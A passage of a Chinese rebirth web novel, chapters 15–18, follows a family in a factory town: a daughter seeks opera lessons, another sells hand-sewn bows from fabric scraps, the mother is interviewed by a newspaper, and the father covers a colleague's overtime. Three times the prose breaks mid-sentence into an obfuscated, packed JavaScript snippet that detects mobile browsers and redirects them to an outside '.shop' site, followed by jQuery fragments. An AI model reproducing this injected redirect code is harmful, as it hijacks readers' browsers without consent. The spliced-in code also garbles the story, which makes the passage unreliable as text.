“看你这样子就知道你没病!”付文华见于闻仲没找借口推脱工作,反而跃跃欲试,心里松了一口气,“不过,我找你来不是让你干活,而是要表扬你! 年底了,厂里也要评选‘优秀标兵’了,你在我们厂,不论是功劳,还是奉献,都是排得上名的。我们厂有三个名额,我想把其中一个给你,申请已经交上去了,几乎是板上钉钉了。快过年了,你也提前高兴高兴!” 优秀标兵!上辈子失之交臂的荣誉! 于闻仲对这个荣誉没有占有欲,不过,能拿到还是很开心的。 毕竟,他这一年的辛苦是所有人都看的见的,他自己当然更清楚,这个荣誉也算是对他自己的一个认可。 “这有可能是我拿的最后一个优秀标兵!”于闻仲已经下定决心不再继续加班,明年、后年,这个荣誉就不会再给他了,“所以,我想庆祝一下!” “是该庆祝一下,这一年的辛苦也算有个结果!”汪顺莲撸起袖子,“我给你们做个红烧肉吃!” 15. 出路! 于秀雅在魏玉华的带领下来到了戏曲家舒丽娟的门口,魏玉华把门拍的框框响,“舒奶奶!舒奶奶!” “小点声!”于秀雅在身后拦住魏玉华,“这样多没礼貌啊!” “你不知道,舒奶奶耳背,你小声敲门,她根本就听不见!”魏玉华也是跟家里人打听的,他们说舒丽娟耳朵有问题,平时说话她都听不见,只有凑到她眼前,大声说话,才能勉强沟通。 这样啊…… 于秀雅皱起眉头! 不会啊,上辈子,报纸上可是报道,说舒丽娟宝刀未老,怎么可能是个耳背? 那边,魏玉华还在大声的喊门,经过坚持不懈的呼喊声后,门被打开,一个眼神矍铄的小老太太站在门口,警惕的看着她们。 “舒奶奶,你可来了!”魏玉华抱怨道,“我们敲门敲了很长时间了!” 于秀雅在魏玉华背后推了她一下,让她别抱怨,这次可是来找人帮忙的。 她走上前,说道,“舒奶奶,我有件事情想请您帮忙,能不能进去聊?” 舒奶奶听了没有反应。 魏玉华对于秀雅说,“你看吧,你这么说话,她根本听不见!你就得大声喊,别管什么礼貌不礼貌的!” 说完,清清嗓子,正准备大声说话时,舒奶奶把门打开,示意两个小姑娘进来。 “舒奶奶,你……你能听见啊?” 舒丽娟让两人进来后,把门重新关上,小声道,“听不清楚,只能大概猜出来。你们两个找我有什么事啊?” 于秀雅拜托魏玉华暂时留在小院子里,自己跟着舒丽娟进了屋子。 房子不大,但收拾的很干净。 中间摆了一个小桌子,上面还有一个小茶壶,旁边有一本半盖在桌子上的书,桌子上的煤油灯正亮着。 “我听说您以前是戏曲方面的大家,我想让您教教我!”于秀雅轻声说道。 “你说话跟蚊子似的,谁听的清楚啊?”舒丽娟似乎根本没有听见于秀雅的请求,“我年纪大了,什么都干不了,谁也教不了!” 于秀雅继续说道,“我不需要您教我唱戏,我就希望您能教我一点戏曲方面的身段。就在这小院子里,谁也不知道。” “听不见啊!听不见!”舒丽娟躺回自己的小椅子,拿起旁边的书继续看了起来,“人老了,什么都听不见了!” “我会付您一笔钱!”于秀雅还想争取。 “我老的不知道什么时候就死了,有钱也没命花!”舒丽娟重新把书放回桌面,有些心烦,“出去出去!别打扰我老太婆的清闲!” 说着,起身强行把于秀雅推出门外。 魏玉华站在院子里,还不知道发生了什么事,只看见舒奶奶把于秀雅推出门外,嘴里大声嚷嚷着,“你这小姑娘说话跟蚊子一样,我这个老太婆听不清,你以后别来了!” “舒奶奶别撵人!”魏玉华大声喊道,“于秀雅爱面子,不好意思大声说话!”她凑近于秀雅,“你有什么事跟我说吧,我替你跟舒奶奶说!” 于秀雅把魏玉华拽出门外,回头对舒奶奶点了点头,“打扰了!” 舒奶奶毫不留情的关上大门。 魏玉华比于秀雅还着急,“舒奶奶,你别关门啊!我们的事还没说呢!” 于秀雅拽着她往回走,让她小声点,“再嚷嚷,周围的邻居都要出来骂人了!” 魏玉华这才闭上了嘴。 两人手挽着手走在小路上,魏玉华担忧的问道,“秀雅,你的事没办成怎么办啊?要不我们明天再过来一次吧?” “没事!”于秀雅倒也不是非舒丽娟不可,“办不成就办不成吧,这世上办不成的事情多着呢!” 天已经快黑了,于秀雅跟魏玉华分手,往家里的方向走。 临走前,魏玉华很不好意思的叫住她,再次确认道,“秀雅,那个发卡,你真的给我吗?真的不要回去了?” “给你了!”于秀雅点点头,让她放心,“你拿回去吧,就说家里给买的。” 于秀雅回到家,一推门就香气扑鼻,汪顺莲正在做红烧肉。 “秀雅,快去洗手,马上就能吃饭了!” 于秀雅把书包放到自己的柜子上,在日历前站了一会儿。 虽然才刚刚回来不久,但她总有一种急迫感,好像有什么事情再不做就晚了。但究竟要做什么呢?于秀雅想不明白,很茫然! 吃过饭,于秀雅洗漱后,躺到床上,汪顺莲走了进来,坐在她的床头,问道,“秀雅,是不是碰到什么事了?” 于秀雅摇摇头,“不是什么大事!就是……不知道以后该干什么。本来想做演员,想站在台上,站在聚光灯下,演绎不同人的故事,可是,又担心万一走不上这条路该怎么办?万一走到最后发现根本是一条错的路该怎么办?” 汪顺莲心疼的摸摸她的头。 这孩子,受了太多苦了,才会在还没有走上一条路之前就开始担忧自己的未来! “秀雅,你现在还年轻,还是个孩子,无论你想做什么,都有充足的时间去做。别怕做不成,就算做不成,这辈子做过了,下辈子就不会再遗憾了。妈妈虽然不能保证能给你什么帮助,但妈妈一定会支持你做想做的事情!” 于秀雅一直笼在心头的那股茫然感突然消失了,自重生之后就有的紧迫感也不见了,她感觉很安心,很平静。 “谢谢妈妈!”于秀雅忍不住把头埋在汪顺莲的怀里。 只要有妈妈在身边,不论做什么都有底气。 一晃数日,于秀荷在放学后直接到了沈立春的家,他已经把缝纫机搬回屋子,沈奶奶正在厨房做饭。 于秀荷打过招呼之后,直接走到屋子里找沈立春。 他正专心致志的踩着缝纫机做蝴蝶结,正常大小的机器在他手底下就像是儿童版,长腿几乎是顶在缝纫机底部。 “怎么样?研究出来了吗?”于秀荷问道。 这几日,于秀荷又给沈立春做了几种不同的蝴蝶结,除了常规的那几款,她又想出一种拼接款。 她们所用的材料是别人剩下的碎布,布块有大有小,有些大的还可以剪成方形,用来做蝴蝶结,有些就太小了,根本剪不成方形。 如今的布料还是稀罕物,去买还需要布票,取消布票大概要到明年或者后年,她们这小生意可等不了。 于秀荷干脆把两张小布叠在一起,这块少的,用那块补一补,当然不是像补窟窿一样,而是把两张布都裁出相同的形状,拼到一起。 红色蝴蝶结的其中一个角是黄色,接口处是条斜线,不说原因,还以为是专门这样设计的。 沈立春踩缝纫机的手艺真是没得说,比沈奶奶还厉害,于秀荷都怀疑,他是不是天天帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328188|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沈奶奶干活。 一块又一块的碎布在沈立春手里变成了一个又一个的蝴蝶结,有双层立体蝴蝶结,还有装了花边的可爱蝴蝶结,本来想用蕾丝,但现在工业不发达,蕾丝太贵了,即使只用来镶边,价格也不是两人能承受的,于秀荷干脆徒手画了一个简单的花边,用碎布剪出来,用缝纫机踩到准备做蝴蝶结的方布上,做出褶皱,就是一个可爱的花边蝴蝶结。 不同颜色的布,不同花纹的布做出来的蝴蝶结也不一样,说不出来哪种颜色配哪种颜色更好看一点,只能说各有各的魅力。 “怎么样?能拿出去卖吗?”沈立春忐忑的看着于秀荷,等待她的检验。 他还是第一次这么紧张,总感觉于秀荷一句话就能决定他的命运! “很好!太好了!”于秀荷看着成品,非常的满意。 手工制品能做到这样的精致度,简直了! 就是工业发达的时候,全自动化的机器也没办法做成这样啊! “暂时就定这几款了,明天你跟我一起出去收布料!”于秀荷一锤定音。 款式定下了,就需要更多的布来做蝴蝶结,沈奶奶这里的布数量太少,而且颜色鲜亮的布也少,用那些灰扑扑的布做头饰,买的人恐怕不多。 于秀荷决定去外面收布料,当然不是收成块的布,而是收那些做衣服、裤子剩下的碎布,一小块一小块的,平常人家除了留着缝补丁,用处也不大。 假如能换成一点钱,想必愿意的人也很多。 刚好明天不用上学,于秀荷跟汪顺莲说一声,把家里的自行车骑出去,两人去周围的村子走一圈,有多少碎布收多少,做出来先卖一批。 要是销量不错,也可以试试买成块的布来做,当然,这是以后才需要考虑的事情,现在先不用想。 “你会骑自行车吗?”于秀荷问道。 沈立春点点头,“会!” “我明天把家里的自行车骑出来,你带着我,我们装成兄妹,去附近的乡下收碎布!”沈立春人高马大的,说他是个成年人别人也不会怀疑,“别人要是问我们收布料干什么,我们就说……你老婆生了个孩子,家里想收点碎布做个百家被!” “我媳妇……”沈立春头一次红了脸,“别人会相信吗?” “这有什么不信的!”于秀荷觉得这理由再合适不过了。 “等把布买回来,就拜托你多花点时间做这些蝴蝶结了!”于秀荷想趁着年前多卖几波,这东西,放到过年后也会有人买,但买东西的对象会从大人变成小孩,小孩手里没多少钱,相应成交的数量也会变少。 “你放心吧!”沈立春很严肃的保证道,“我会好好做的。” “我相信你!”于秀荷忍不住再次拿起缝纫机上做好的蝴蝶结,虽然是手工做的,但实在是太精致了。 她放到头上比划了一下,问道,“好看吗?” 沈立春脸上的红晕还没消下去,他笨拙的点点头,“好看!” “放我头上都好看,那肯定是好看的不得了!”于秀荷对自己的小生意信心十足,“我们肯定能卖的红红火火。” 时间不早了,两人约定好地点,于秀荷就先回家了。 直到她走后,沈立春还呆呆的看着她离开的方向。 那个被于秀荷试戴过的蝴蝶结,被沈立春握在手心,直到被汗水浸湿。 16. 变废为宝! 天气很好,太阳照射在不远处的树枝上,在墙壁上留下斑驳的树影,虽然是冬天,但还是暖洋洋的。 沈立春站在跟于秀荷约定好的地方,焦急的等待着于秀荷。 “沈立春!”一个声音由远及近,于秀荷骑着自行车从远处赶来。 “嗨!”沈立春忍不住朝于秀荷挥手,晃动了两下手掌后,蜷缩起手指,把手收了回来。 他以前是绝对不会做这种动作的! “沈立春,你来骑吧!”于秀荷从自行车上下来,有点气喘,她现在太矮了,还有点胖,骑着大人骑的自行车还真是有点困难。 沈立春二话不说接过于秀荷手里的自行车,等于秀荷在后面坐稳后,不声不响的骑着朝前走。 两人最先去的是离的比较近的大王村,到了村口,看见有人群聚集的地方,便凑了上去,“大娘,受累问一下,您家里有没有用不着的碎布头啊?我想买一点!” 于秀荷是个圆脸,被汪顺莲养的白白胖胖的,这样的小孩最受大娘们喜欢了。 立刻就有人接话道,“要碎布头子干什么?那东西除了缝个鞋垫,也干不了什么!” 于秀荷笑着说道,“我哥哥新娶了媳妇,刚生了孩子,家里想做个百家被,给孩子积积福气,就让我们出来买点碎布头子!” 说完,还指了指扶着自行车的沈立春。 “哟!你这个哥哥长得有精神!” “好俊的男孩儿,可惜已经娶了老婆了,不然,我非得介绍给我侄女!” 沈立春的‘美貌’带偏了话题,让各位闲聊的大娘们暂时忘记了于秀荷来这里的目的,于秀荷只好强行加入话题,“可不是吗?我嫂子第一次见他,就非要嫁给他。嫁进来一年就生了个大胖小子,我妈高兴坏了,让我们兄妹两个出来买点碎布头子,她要亲自给孙子做个百家被。” “大胖小子!真有福气啊!” 总算把话题扯了回来,于秀荷趁热打铁,说道,“大娘,你们谁家有碎布头子啊?最好是鲜亮一点的布,用不着太大,我看上了就按斤收,也给你们沾沾喜钱!” “我家有!”有个大娘很大方,大手一挥,说道,“都是碎布头子,家里一堆也没地方用,现在生活好了,想打补丁也没地方打,放在那也没用,你们看上就拿去吧!” “那可不行!”于秀荷能说谎,可不能用谎话骗别人的布,“大娘的好意我心领了,但我们可不白拿东西,您把布拿来,我挑几块,我按照现在的布价折一点给您,您看行不行?” 有钱拿当然更好。 那些碎布头子,拿出去卖也没人会收。 大娘立马转身回家拿,“你等我一会,我家离这儿可有点远。” “不急,我们在这等着你!” 那个大娘离开后,其他大娘凑了上来,问道,“你们要多少啊?我家也有,你们要不要?” “我家也有!” “都要!”于秀荷当然是来之不拒! “我要的多!”于秀荷笑着说,“我哥哥跟嫂子正热乎呢,说不定明年就有第二个了,多收点,给小的也准备一个!” 一直在前面扶着自行车的沈立春又红了脸! “那我回去取,你们可等着我啊!” “放心吧,肯定等着您!”于秀荷记下大娘的脸,还不忘叮嘱,“要鲜亮的,大娘!” 陆陆续续有几个大娘回去取碎布头子,等了一会儿后,有几个拿了过来,于秀荷的叮嘱很有用,大部分拿来的都是鲜亮的碎布。 “这可是我闺女出嫁那年,我给她做衣服剩下的,都是好布!” 于秀荷上手一摸,确实是好布! 柔柔软软,还滑溜溜的。 可惜的是,有点少,也有点小。 不过,想想也对,这么好的布,做衣服肯定是提前量好的,能严丝合缝的裁剪,就严丝合缝的裁剪,不然,那得浪费多少啊! “我的布也不赖!你看看,这颜色,多好看!当时那衣服做好,我闺女出去转一圈,不知道被几个人拉住转着圈看呢!” 于秀荷在碎布头子里挑选能用的。 每家每户能用的都放在一堆,没一会儿,就挑出了一小堆! “大娘们,这些我都要了,就按现在布价的六折算,你们看行不行?”于秀荷问道。 她给的价格已经很值了,毕竟都是些碎布头子,就是按五折买,卖的人都能排起长队。 于秀荷觉得,这些人既然能让她在这挑挑拣拣,再压价也不好,干脆给个高价吧。 “你这价格挺好的,我们当然愿意了!” “这些碎布头子都能卖到六折啊?我家里还有几块大一点的呢,给你一起收了吧?” 只要颜色好,于秀荷当然不介意布是不是更大,“大一点的也是这个价格,您要是舍得,就拿来给我呗!” “我现在就回去拿,你在这等着我啊!” 在这小半天的时间,于秀荷和沈立春就收到了一大包的碎布头子,总共花费了六元。 跟大娘们告别,两边都觉得自己占到了便宜。 一边是把家里用不着的东西卖了出去,一边是用低价收到了布料。 骑着自行车穿梭在光秃秃的田地旁,从刚才到现在一直一言不发的沈立春忍不住开口道,“这些布够了吧?” 六元!虽然钱不算特别多,但攒起来也要很久。 于秀荷又不像她的父母,有工作,能挣钱,这些钱,她攒起来也需要一段时间。 做出来的东西能卖出去还好,要是卖不出去,这些都要砸在手里! “还没到中午呢!我们再往旁边转转,能再收一点就再收一点,不然下次又得骑这么远的路过来!”这里的路还不好,颠的于秀荷屁股都疼了。 “都已经买了六元了……”沈立春忍不住想劝一劝。 于秀荷听他提起钱,还以为他怕钱不够,就说道,“放心吧,来之前,我跟我妈要了二十,保证有钱收布!” 二十…… 沈家一个月的伙食费都花不了这么多! 沈立春闭上了嘴,他忽然有一种强烈的羞耻感,在于秀荷面前,他处处缩手缩脚,什么忙都帮不上。 蝴蝶结的样式是她画的,出来收布的主意是她出的,买布的钱也是她出的,跟大娘们套近乎,一来一往给钱拿布的是她,甚至,骑的自行车都是她家的。 脸又开始火辣辣的疼,幸好,他在前面,坐在后面的于秀荷看不见他的脸。 终于又到了一个村子,于秀荷从后座上跳下来,没忍住,还是在大庭广众之下揉了揉屁股,真疼啊! 好在这时候也没人注意,她活动好手脚后,对沈立春说,“走,去那边,还是老方法。” 沈立春把自行车往前推了两步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331627|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,想走在前面,于秀荷这才看见他的脸,红彤彤的一片。 “你的脸都冻红了!”于秀荷心里有些愧疚,她坐在后面,有沈立春挡风,他又骑车,又被风吹,这一路简直是酷刑! 沈立春下意识摸了摸自己的脸,冰冰凉凉的。 “要不我们缓一会再过去吧!”于秀荷把手里的布包递给他,“用这些先挡挡风!” “没事!”沈立春把布包推回去,“我不冷!” 说不冷肯定是假的,于秀荷坐在后面都觉得冷了。 但出来做生意,冷也没有办法。 “那我们把这个村子的收完就回去!” 还是那一套说辞,这边的人在于秀荷喜喜庆庆的说辞下把自家的碎布头子拿了出来,于秀荷高高兴兴的收了一包。 一左一右两大包碎布,沈立春在前面骑车,于秀荷挎着两大包布坐在后头,两个人开开心心的往家赶。 碎布要拿到沈立春家做蝴蝶结,所以先到他家。 江城离附近的村子有些远,两人从村子里赶回来已经下午了。 沈奶奶今天没有出去摆摊,在家里做好了饭等沈立春回来。 见于秀荷跟着一起回来了,高兴的招呼于秀荷一起吃。 “不用了,奶奶,我一会儿回家吃!我妈妈给我留饭了!”于秀荷委婉的拒绝道。 她现在饿极了,一下子能吃一头牛,但她心里知道,沈家的经济状况不好,粮食一直不够吃,而且,沈立春的饭量还不是一般的大。 要是她留在这,沈立春肯定要省出自己的口粮,把他的份分给于秀荷。 家里确实给于秀荷留了饭,沈立春累了一天,干的都是力气活,她可不想占他的口粮。 沈立春把于秀荷手里的布接过去,放到屋子里,推着自行车出门,说道,“我送你回去吧!” “不用了!”于秀荷想接过自行车自己骑。 就这一小段路,她骑一会儿就回去了。要是沈立春送她回去,还得走着回来,多麻烦啊! 沈立春推着自行车往外走,直接忽视了于秀荷想自己回去的建议。 走到门口,他突然停下车,对于秀荷说道,“你等我一下!” 于秀荷还没回过神,他就先一步回了院子,没几秒又走了出来。 “走吧!”他重新推上自行车,示意于秀荷坐上。 虽然不知道沈立春葫芦里卖的什么药,但今天出去一天真的是又累又饿,于秀荷现在只想先回去吃饭。 两家的距离也不远,沈立春愿意走回来就走回来吧! 自行车很快,眼看就要到于家了,沈立春停下,把自行车交到于秀荷手里,“我就送你到这里了!” 这…… 送都送了,怎么不送到门口? 这眼看不就到了吗? 算了!算了!于秀荷也懒得计较。 接过自行车,准备直接推回去,反正就一小段距离。 “等一下!”沈立春又叫住她,往前走了两步,靠近于秀荷,从兜里拿出两个鸡蛋,塞到于秀荷的口袋里,说道,“趁热吃吧!” 于秀荷的手伸到口袋里,鸡蛋还是烫的,应该是一直在锅里热着,他是什么时候拿的?于秀荷想起离开前沈立春回去的那几秒钟,动作这么迅速,是害怕她推拒吗? 于秀荷下意识回头,只看见一个匆匆离去的背影! 17. 采访! 汪顺莲刚到供销社,还在做准备工作,旁边有人忽然对她说,“汪姐,余主任让你去一趟办公室!” 这个时候去办公室? 供销社马上就要开门了,一开门顾客就会一拥而入,这个时候不做好准备工作,顾客进来就会手忙脚乱,余主任对这点是知道的啊! 一般没有重要且紧急的事情,他不会让人去办公室的。 汪顺莲去办公室的路上心里一直打鼓,最近供销社有发生什么大事吗?她上辈子忙着找活路,一点也没关注! 敲响余得有办公室的门,汪顺莲在门口问道,“余主任,你找我?” 余得有回应的声音很是兴奋,“快进来!” 汪顺莲推开门,有些拘谨的走进去,余得有从椅子上站起来,把手里的报纸递给她,“你看看,你登上京城晚报了!‘汪一铲’的名头现在不止是江城的人知道,连京城的人都知道了!” 这份报纸还是余得有的朋友给寄过来的! 京城晚报从去年开始专门开了一个版面,记录各个省份先进工作者的事迹,而且不是靠官方评选,是靠群众口口相述。 晚报描述的不是汪顺莲本人,而是其他人口中的‘汪一铲’。正所谓,自己说好不是好,别人说好才是好。 汪一铲的名头被大家口口相传,‘一铲’的绝技也很引人注目,旁边还配了一张图,正是余得有给汪顺莲澄清名誉那天的照片! 余得有和汪顺莲站在供销社里,周围挤满了围观群众,拍出来就像是汪顺莲在接受表扬一般。 “托你的福,我也算是上过报纸的人了!”余得有很是兴奋。 头一次登上这种报纸,汪顺莲也是满脸喜气,比得了优秀标兵还开心! “主任,这报纸能借给我一天吗?我想带回家给我两个闺女看看!”自己的照片出现在报纸上,怎么说也得让家里人看一眼啊。 “给你了!”余得有大方的表示道,“拿回家裱起来吧!” “那可太谢谢了!”汪顺莲把报纸小心的折起来,尽量避开照片,“主任,没其他事情的话我就先回去了,一会儿就要开门了,我得提前准备!” “我正要跟你说这个事呢!差点让你带歪了!”余得有说道,“京城晚报登了你的事迹,江城晚报也要给你做个采访,刚才给我打电话,说一会儿供销社开门之后,会有工作人员上门采访,还有专门的摄影师进行拍照。我提前跟你说一声,你做好心理准备啊!” “还要过来采访?”汪顺莲着实吓了一跳。 “大大方方的,给他们表演一下‘汪一铲’的绝技!”余得有叮嘱道,“别紧张!” 汪顺莲点点头,“那我现在赶紧去准备!” 说不紧张是假的,被人拿着方方正正的盒子拍照,还要被人盯着问问题,万一出一点错,那可就贻笑大方了。 当务之急是赶紧把准备工作做好。 跑回糖果柜台,汪顺莲收拾好自己的工具,静静的等待着供销社开门。 门一打开,糖果柜台前就排起长队,都是等着买糖的客人。 汪顺莲忍不住朝队伍看去,试图辨认出哪个是来采访的记者,一时之间竟有些分心,差点没听清客人的需求。 不行!不行! 她的本职工作是售货员,这时候应该做好自己的工作。就算搞砸采访,也不能怠慢客人啊! 汪顺莲清空自己脑子里的杂念,快速且有条理的处理客户的需求。 “您要什么糖?” “喜欢吃甜的,你就买北方产的奶糖!吃不了太甜的,你就买南方产的水果糖!” “可以给您分开装,拿回去送亲戚、送朋友都很合适!” 正当她沉浸在自己的工作当中时,余得有带着一群人进来了,走在前面的人举着话筒,后面的人扛着相机。 排队的客人没见过这种场面,自觉地让开一条队伍,采访的队伍很顺利就来到了糖果柜台前。 “请问您是汪顺莲吗?”记者举着话筒问道。 汪顺莲一边点头,一边回答道,“我是汪顺莲!” “听说您有一个绝技,无论顾客要多少糖,你一铲子下去,一分一毫都不差?” “没错!” 记者康雪看向在旁边看热闹的客人,问道,“她说的是真是假?你们常来买糖,应该知道吧?” 被记者拿着话筒采访着,客人都很兴奋,有几个胆子大的,积极的凑上前,说道,“真的!我在这买过好多次,一铲子下去,放在称上,一点儿都不差!” “好几年前就这么叫了!” 康雪拿回话筒,说道,“我要亲自实验一下!汪一铲,给我称二两的奶糖!” 汪顺莲回身,走到奶糖柜子前,一铲子下去,颠了颠,略微估计了分量之后,从铲子里扒拉两个下去,拿着铲子走到柜台前的电子称旁。 这时,四周所有的目光都聚集在她身上。 不光是糖果柜台,其他柜台前的客人和售货员也都盯着这边看。 王桂香伸着头往前看,被记者采访,这可是她梦寐以求的荣誉,可惜不是发生在她身上。 人太多,王桂香往前挤的时候不小心撞到了前面的同事。 被撞到的同事一回头,发现是王桂香,顿时翻了个白眼,“你看什么看?站后面去!” 王桂香立刻委屈的双眼通红,可她没法反驳,只能灰溜溜的缩回到其他人身后。 镜头前,汪顺莲把铲子上的糖倒到了电子秤上,称上的数字开始晃动,随后精准的停在了101克。 糖果是论个数称的,多几克少几克都是很正常的事,总不能把一颗糖掰成两半吧? “好准啊!”康雪夸张的捂住了嘴巴。 摄像机立刻上前,拍下电子秤上精准的数字。 汪顺莲轻微的舒了口气,幸好没有出丑! 采访中最难的一关终于过了,接下来就很顺利了,康雪又问了几个简单的问题,柜子里都有哪些糖啊?都是什么味道啊? 汪顺莲轻松应对。 整个采访完美结束,余得有送采访的队伍离开后,排队买糖的客人更多了。 “汪一铲,这下你可出名了!要登在报纸上了!” “我这次得多买点,不然等看了报纸的人也来买糖,我就买不着了!” “多买点!多买点!” 汪顺莲从上午忙到下午,几乎到供销社关门,糖果柜台的客人才走干净。 她收拾好糖果柜台,怀里揣着余得有送她的报纸,开开心心的往家里走。 机械厂里,于闻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17335794|198944||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仲还不知道汪顺莲被采访的消息,下班后,他并没有立刻离开,而是主动走到梁苦根的旁边,轻声问道,“梁师傅,还没干完啊?” 梁苦根跟于闻仲一样,都是八级工。 他前几天请假了,积压的活只能下班接着干,这本来很正常,但于闻仲想起一件事,上辈子,梁苦根的娘在年前这几天走了! 消息传到厂里的时候,梁苦根已经好几天没来了。 听别人说,梁苦根的娘生病住院好一段时间了,前一阵子病情又严重了,梁苦根没办法,只好请了几天假。 他娘的病情一直反反复复,那几天假根本不够用的。 回到厂里,积压的工作也得干。他是八级工,他的活没办法随便交给其他工人。能接他活的八级工手里都有活。 没办法,只能加班干,争取早点干完,早点去他娘床头守着。 可就在他加班的时间里,他娘突然走了,听别人说,要是他早一点过去,就能见他娘最后一面。 因为这事,梁苦根跟厂里闹了矛盾,怎么说都不肯回厂里上班,哪怕要降级,哪怕威胁说要开除他,厂长为了这事,没少掉头发。 梁苦根眼前正烦着,面对于闻仲也只能勉强笑笑,“活多,干不完也只能加班啊!” “我听说你娘最近身体不好,在医院住着呢?”于闻仲凑近他,小声问道。 梁苦根听见这话,有点诧异,他跟于闻仲交情不深,碰见了关心几句,碰不到就当没看见,主动过来关心……这可不是他以前的风格。 “劳你费心了!”梁苦根点点头,“我娘年纪大了,也是时候了。我也不想着让她多活多少年吧,只想让她别这么受罪,能舒舒服服的走就舒舒服服的走。” 于闻仲便说道,“你手里这活,我也能干。我看你也没剩多少了,不如你先走吧,剩下的我替你干?” 梁苦根一愣,看向于闻仲,迟疑的问道,“于师傅,你说的真的假的?” 于闻仲拍拍梁苦根的肩膀,说道,“这还能有假吗?” 梁苦根感动的不知道说什么好,“于师傅,我谢谢你!我真的……以后你需要帮忙,尽管开口。” 说着,梁苦根就要离开。 于闻仲拉住他,说道,“你娘的病也不知道什么时候好,这几天,你到下班就走吧,剩下的活我都替你干,你早点去医院看你娘。” 这……这可说不准要多长时间啊! 他娘的病,要说严重,明天就有可能没了。要说不严重,撑一撑说不定能过了这个年。 梁苦根之所以没有找其他的八级工帮忙,考虑的也是这个问题。帮一天两天还行,时间一长,谁都不乐意。 他这才硬着头皮干,想着把手里的活干完,跟厂长说说,让他给自己匀一个长假。 没想到……于闻仲居然主动要帮忙! 怪不得,厂里个个都说于师傅人品好。 “我……于师傅,我真谢谢你!等熬过这段时间,我一定好好请你吃个饭!” “梁师傅,大家都是同事,互相帮帮忙都是应该的。”于闻仲小声说道,“不过,你也知道,我最近说身体不好,把冯腾飞给拒了。要是让他知道我替你加班,说不定心里有想法。你看能不能这样,对外,就说你花钱请我帮的忙!” 18. 一切就绪! 这种事在厂里也有人会干,不过都是一些偷奸耍滑,或者家里要用钱的人才会干。 梁苦根平时闲聊时也听别人说起过。 “于师傅,您是八级工,您给我帮忙,这钱怎么说我也得付,您放心,等过了这阵子,我保证把钱送到您手上。”梁苦根以为于闻仲是想赚点外快。 赚点就赚点吧! 一般的八级工还看不上这点钱呢! 要是能用钱就把人情还了,梁苦根巴不得! “哎!”于闻仲打断梁苦根的话,“我只是怕那小孩多想,你要是提钱,我就不干了!” “别啊!于师傅,我不提钱了还不行吗?”梁苦根觉得自己可能真的想错了于闻仲,他可能是真的怕冯腾飞多想,便答应道,“别人要是问我,我就说你身体本来不好,是我软磨硬泡、加上给钱,所以才来帮我的。你看行不行?” 于闻仲点点头,“快走吧!活交给我你就放心好了!” 梁苦根得了于闻仲的保证,彻底放心了,想着他娘还在医院等他,便匆忙离开。 八级工才能干的活自然是一些精细活,就算是于闻仲干起来也很吃力,他聚精会神干活的时候,冯腾飞无意间看见了他。 自从于闻仲当面让他离开,明示不会收他当徒弟后,冯腾飞就再也没跟于闻仲说过一句话。 起初,他觉得于闻仲是拿这个当借口。 谁不知道蒋理想家境好,还没拜师呢,就送一大堆礼品,于闻仲当时虽然没要,但保不齐后来动心了。 那么多好东西,如果收他当徒弟,以后孝敬还能少的了? 想收孝敬就算了,还拿这种蹩脚的理由当借口,真的很令人不齿! 再说了,要是不肯收,应该早点说啊!早点说,他还能去找其他师傅。现在这个节骨眼拒绝他,让他上哪再找第二个师傅? 真是耽误人! 可于闻仲自从说了那些话后,还真就没再加过班了! 冯腾飞心里的怨恨少了点,心想,于闻仲说的不会是真话吧!如果是真话,那……他也可以去跟于闻仲保证,以后绝不在下班之后请教他问题,说不定还有机会…… 还没开始行动,他竟然在下班时间看见了于闻仲,又在加班,干的还是别人的活! 不是说身体不好,不能劳累吗? 怎么教他的时候就身体不好,帮别人忙的时候身体就好了? 冯腾飞心里那股不平之气又涌了上来,他咬着牙,阴着脸,恨恨的离开。 于闻仲并没有看见冯腾飞,也不知道冯腾飞心里在想什么,他加班加点的干完活,收拾好东西,紧赶慢赶的往家跑。 回到家,汪顺莲早已做好了饭,“就等你吃饭呢,今天怎么回来的这么晚?” “怎么还在等我啊?”于闻仲洗洗手,帮着汪顺莲把小厨房里的菜端出来,说道,“我这几天帮梁师傅加个班,他娘生病了,过年前厂里的活又多,请假也请不掉,我帮帮他,让他下班就能去医院照顾他娘。” 几人往餐桌上一坐,于闻仲便叮嘱道,“下次别等我了,我一加班就没个准点,你们先吃吧!” 汪顺莲一笑,说道,“你以为我们是在等你啊!” 她指着于秀雅和于秀荷两人说道,“这两个小孩子,最近也不知道在搞什么,回来的越来越晚!我总不能一个人吃饭吧,也只好等等她们了。” 于秀雅和于秀荷相视一笑,吐吐舌头。 